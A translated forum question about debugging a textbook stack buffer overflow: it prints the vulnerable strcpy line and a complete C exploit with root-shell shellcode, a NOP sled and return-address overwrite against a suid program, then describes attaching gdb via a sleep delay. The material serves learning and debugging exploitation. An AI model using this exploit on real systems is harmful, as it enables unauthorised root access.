黑客攻击的技巧:debugging缓冲区溢出示例

我在读“黑客攻击的艺术”一书。 有一个堆栈缓冲区溢出的例子。

这是被攻击程序“notesearch”的一个来源:

char searchstring[100]; // ... if(argc > 1) strcpy(searchstring, argv[1]); // <-- no length check 

这里是攻击程序的来源,“exploit_notesearch”:

 #include <stdio.h> #include <stdlib.h> #include <string.h> char shellcode[]= "\x31\xc0\x31\xdb\x31\xc9\x99\xb0\xa4\xcd\x80\x6a\x0b\x58\x51\x68" "\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x51\x89\xe2\x53\x89" "\xe1\xcd\x80"; int main(int argc, char *argv[]) { unsigned int i, *ptr, ret, offset=270; char *command, *buffer; command = (char *) malloc(200); bzero(command, 200); // zero out the new memory strcpy(command, "./notesearch \'"); // start command buffer buffer = command + strlen(command); // set buffer at the end if(argc > 1) // set offset offset = atoi(argv[1]); ret = (unsigned int) &i - offset; // set return address for(i=0; i < 160; i+=4) // fill buffer with return address *((unsigned int *)(buffer+i)) = ret; memset(buffer, 0x90, 60); // build NOP sled memcpy(buffer+60, shellcode, sizeof(shellcode)-1); strcat(command, "\'"); // <-- dumping full command string here system(command); // run exploit free(command); } 

当运行exploit_notesearch时,一切正常,我会得到一个根shell,因为notesearch程序具有suid权限。 命令string包含要调用的程序的名称,NOP底座,shellcode和shellcode的返回地址。

我想用gdbdebugging被利用的程序,看看这个漏洞是如何运行的。 为此,我将命令string(在调用system()之前)转储到一个文件中(我们称之为dump.txt)。 然后从一个shell我试图得到相同的结果,我直接用转储的命令string作为参数调用被利用的程序。

提示符> $(cat dump.txt)

notesearch程序启动了,但是不是root shell,我得到了一个分段错误。 我也通过脚本在很大范围内改变了返回地址。

我的问题,有什么区别:

  • 通过shell启动notesearch

  • 通过系统启动notesearch

也许你也知道另一种通过gdbdebugging被利用程序的方法。

得到它的工作:在notesearch程序的main开头添加了以下几行,它睡45s:

 #ifdef MY_DEBUG printf("child running - sleep()\n"); fflush(stdout); sleep(45); printf("child running - sleep() finished\n"); #endif 

然后我开始exploit_notesearch,它自己启动了现在等待45秒的notesearch。 在另一个shell中,我列出了所有正在运行的进程以获取notesearch进程的PID。 然后我运行gdb,附加到这个进程,然后可以在调试器中观察漏洞。